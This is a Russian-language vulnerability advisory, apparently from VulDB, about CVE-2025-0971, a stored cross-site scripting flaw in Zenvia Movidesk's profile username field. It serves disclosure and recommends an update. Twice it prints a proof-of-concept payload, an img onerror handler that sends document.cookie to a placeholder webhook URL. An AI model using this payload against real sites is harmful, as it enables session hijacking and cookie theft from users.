Zenvia Movidesk до 25.01.22 Profile Editing /Account/EditProfile Имя пользователя межсайтовый скриптинг

СводкаИнформация

Уязвимость была найдена в Zenvia Movidesk до 25.01.22 и классифицирована как проблематичный. Затронута неизвестная функция файла /Account/EditProfile компонента Profile Editing. Манипуляция аргументом Имя пользователя со значением <img src="x" onerror="this.src='https://YOUR-WEBHOOK-URL?c=' + document.cookie;"> приводит к межсайтовый скриптинг. Эта уязвимость однозначно идентифицируется как CVE-2025-0971. Есть возможность удалённого запуска атаки. Также существует доступный эксплойт. Рекомендуется провести обновление затронутого компонента.

ПодробностиИнформация

Уязвимость была найдена в Zenvia Movidesk до 25.01.22 и классифицирована как проблематичный. Затронута неизвестная функция файла /Account/EditProfile компонента Profile Editing. Манипуляция аргументом Имя пользователя со значением <img src="x" onerror="this.src='https://YOUR-WEBHOOK-URL?c=' + document.cookie;"> приводит к межсайтовый скриптинг. Использование классификатора CWE для обозначения проблемы ведет к CWE-79. Слабость была опубликована.

Эта уязвимость однозначно идентифицируется как CVE-2025-0971. Есть возможность удалённого запуска атаки. Техническая информация предоставлена. Популярность этой уязвимости ниже среднего. Также существует доступный эксплойт. Эксплойт доступен широкой публике и может быть использован. Сейчас цена на эксплойт приблизительно равна USD $0-$5k. Проект MITRE ATT&CK определяет технику атаки как T1059.007.

Указано значение Доказательство концепции.

Переход на версию 25.01.22.245a473c54 способен решить эту проблему. Рекомендуется провести обновление затронутого компонента.

ПродуктИнформация

Поставщик

Имя

Версия

CPE 2.3Информация

CPE 2.2Информация

CVSSv4Информация

VulDB Вектор: 🔍
VulDB Надёжность: 🔍

CNA CVSS-B Score: 🔍
CNA CVSS-BT Score: 🔍
CNA Вектор: 🔍

CVSSv3Информация

VulDB Meta Base Score: 4.1
VulDB Meta Temp Score: 4.0

VulDB Базовый балл: 3.5
VulDB Временная оценка: 3.2
VulDB Вектор: 🔍
VulDB Надёжность: 🔍

NVD Базовый балл: 5.4
NVD Вектор: 🔍

CNA Базовый балл: 3.5
CNA Вектор: 🔍

CVSSv2Информация

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
ВекторСложностьАутентификацияКонфиденциальностьЦелостностьДоступность
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать
РазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокироватьРазблокировать

VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍

ЭксплуатацияИнформация

Класс: межсайтовый скриптинг
CWE: CWE-79 / CWE-94 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

Физический: Нет
Локальный: Нет
Удалённый: Да

Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции

EPSS Score: 🔍
EPSS Percentile: 🔍

Прогноз цен: 🔍
Оценка текущей цены: 🔍

0-DayРазблокироватьРазблокироватьРазблокироватьРазблокировать
СегодняРазблокироватьРазблокироватьРазблокироватьРазблокировать

Разведка угрозИнформация

Интерес: 🔍
Активные акторы: 🔍
Активные группы APT: 🔍

КонтрмерыИнформация

Рекомендация: Обновление
Статус: 🔍

0-дневное время: 🔍

Обновление: Movidesk 25.01.22.245a473c54

ХронологияИнформация

02.02.2025 🔍
02.02.2025 +0 дни 🔍
10.10.2025 +250 дни 🔍

ИсточникиИнформация

Статус: Подтверждённый

CVE: CVE-2025-0971 (🔍)
GCVE (CVE): GCVE-0-2025-0971
GCVE (VulDB): GCVE-100-294362
scip Labs: https://www.scip.ch/en/?labs.20161013

ВходИнформация

Создано: 02.02.2025 08:59
Обновлено: 10.10.2025 19:18
Изменения: 02.02.2025 08:59 (56), 03.02.2025 01:22 (30), 03.02.2025 13:08 (1), 06.02.2025 08:32 (3), 10.10.2025 19:18 (12)
Завершенный: 🔍
Отправитель: y4g0
Коммиттер: y4g0
Cache ID: 216::103

ОтправитьИнформация

принято

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Обсуждение

Комментариев пока нет. Языки: ru + be + en.

Пожалуйста, войдите в систему, чтобы прокомментировать.

◂ ПредыдущийОбзорДалее ▸

Do you want to use VulDB in your project?

Use the official API to access entries easily!